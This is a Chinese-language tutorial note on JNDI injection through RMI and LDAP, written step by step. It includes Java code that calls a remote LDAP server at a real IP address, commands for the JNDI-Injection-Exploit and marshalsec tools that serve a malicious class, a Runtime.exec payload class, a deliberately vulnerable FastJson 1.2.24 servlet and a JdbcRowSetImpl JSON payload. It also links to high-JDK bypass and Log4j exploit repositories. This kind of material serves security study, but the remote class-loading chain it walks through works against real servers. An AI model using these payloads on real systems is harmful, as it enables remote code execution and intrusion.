知识点
JNDI详解
什么是jndi注入
JDNI注入安全问题
JDNI注入利用条件
https://blog.youkuaiyun.com/dupei/article/details/120534024
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/#LDAP-Reference%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7
项目案例
JNDI注入-RMI&LDAP服务
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。(个人理解就是接口操作)
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
新建项目Jndi-Inject-Demo
新建JndiDemo类(lookup里后边服务器生成的class地址)
package com.example.jndiinjectdemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JndiDemo {
public static void main(String[] args) throws NamingException {
//创建一个rmi/ldap等服务调用 实例化对象
InitialContext initialContext = new InitialContext();
//调用rmi/ldap等服务对象类
initialContext.lookup("ldap://47.115.204.183:1389/awyh88");
}
}
JNDI远程调用-JNDI-Injection
jdk版本1.8
工具地址:
https://github.com/welk1n/JNDI-Injection-Exploit
点击运行后,成功弹出计算器。vps也显示有远程请求调用(这里使用的ldap,那么换rmi试试)
这里在改成rmi协议后并未执行,这个利用的成功链和java的版本有关。
那么使用JDK1.7利用链试一试,rmi无效,ldap可用。这个在后边会讲到版本之间的差异
总结使用方法
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);
2、使用利用工具生成调用地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A xx.xx.xx.xx
JNDI远程调用-marshalsec
//工具地址
https://github.com/RandomRobbieBF/marshalsec-jar
新建一个JndiTest类(注意是直接在java下,不然调用时会报错,血坑)
package com.example.jndiinjectdemo;
import java.io.IOException;
public class TestJndi {
public TestJndi() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
错误示范❌
在该目录下打开终端
生成class类,点击文件以后会自动反编译,看到里面的代码
javac .\TestJndi.java
将生成的class文件放到vps的/var/www/html下,(装个nginx或者开python3起个临时web都可以,这里使用nginx)
访问可以下载,说明没问题。
使用刚刚下载的工具,会监听现在的1389端口(ldap)1399端口(rmi)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#TestJndi
将JndiDemo的调用地址修改为刚刚测试的class文件名。、
47.115.204.183:1389/TestJndi
在进行运行
package com.example.jndiinjectdemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JndiDemo {
public static void main(String[] args) throws NamingException {
//创建一个rmi/ldap等服务调用 实例化对象
InitialContext initialContext = new InitialContext();
//调用rmi/ldap等服务对象类
// initialContext.lookup("ldap://47.115.204.183:1389/5zhf1o");
initialContext.lookup("ldap://47.115.204.183:1389/TestJndi");
}
}
在使用RMI协议请求,无响应(这边注意端口是1099)
总结(可以自定义)
JNDI远程调用-marshalsec
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);
2、编译调用对象
javac Test.java
3、使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
4、将生成的Class存放访问路径
JNDI注入-JDK高版本注入绕过
java版本是"1.8.0_181"
从上图可以看到是在RMI-JNDI和LDAP-JNDI之间,所以这个版本在RMI协议全部失效了。而LDAP可以使用,1.7的LDAP可以使用的原因是因为1.8继承了1.7的写法,相当于是同一类,所以可以用。
这边由于个人原因只有这个JDK版本,可以下去试试其它的版本。
如果是8U113以下的就可以使用RMI的协议去做。
这里就解释了为什么我们在上边选用的时候先用的是LDAP服务而不是RMI。LDAP相比RMI的选择JDK范围更大、更具有广泛性。
上边的两个JNDI的注入工具,由于调用链不同,能不能执行也不同,所以工具多试试。
相关绕过
https://github.com/Bl0omZ/JNDIEXP
https://tttang.com/archive/1405/
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
JNDI注入-FastJson漏洞结合
mvn引入fastjson1.2.24,刷新加载
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
FastJsonWeb类
package com.example.fastjsonjndiweb;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/json")
public class FastJsonWeb extends HelloServlet{
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String jsondata = req.getParameter("str");
System.out.println(jsondata);
JSONObject jsonObject = JSON.parseObject(jsondata);
System.out.println(jsonObject);
}
}
index.jsp
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
</body>
<form action="http://localhost:8080/FastJsonJndiWeb_war_exploded/json" method="post">
<label>
JSON data:<input type="text" name="str">
<input type="submit" value="提交">
</label>
</form>
</html>
payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.115.204.183:1389/t4iqdx","autoCommit":true}
在提交地方点击后,弹出计算器。还是JDK原因,RMI协议无法使用
黑盒的角度,发现fastjson,并进行利用
案例
https://blog.youkuaiyun.com/weixin_49150931/article/details/126056687
白盒角度,POC为什么这么写
和之前讲到的FastJson反射的进行对比
String test = "{\"@type\":\"com.FastjsonDemo.Run\",\"age\":\"30\",\"name\":\"zhangsanSEC\"}";
//RUN类的计算器是我们自己写的,来进行调用的
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.115.204.183:1389/t4iqdx","autoCommit":true}
这个payload指向的是JdbcRowSetImpl类
ldap的调用类是 javax.naming.InitialContext.lookup()
两者如何联系起来呢?
调用 ldap/rmi javax.naming.InitialContext.lookup()
相当com.sun.rowset.JdbcRowSetImpl.execute()里面就有javax.naming.InitialContext.lookup(),相当于继承了
总结
1、Jndi- rmi/ldap服务
2、rmi ldap 都可以进行远程调用 可以远程加载class类
3、攻击利用是用到了jndi-inject项目和marshalsec
jdk高版本会限制rmi和ldap使用(有专门的高版本绕过方法)
4、利用要知道其他类也能调用JNDI注入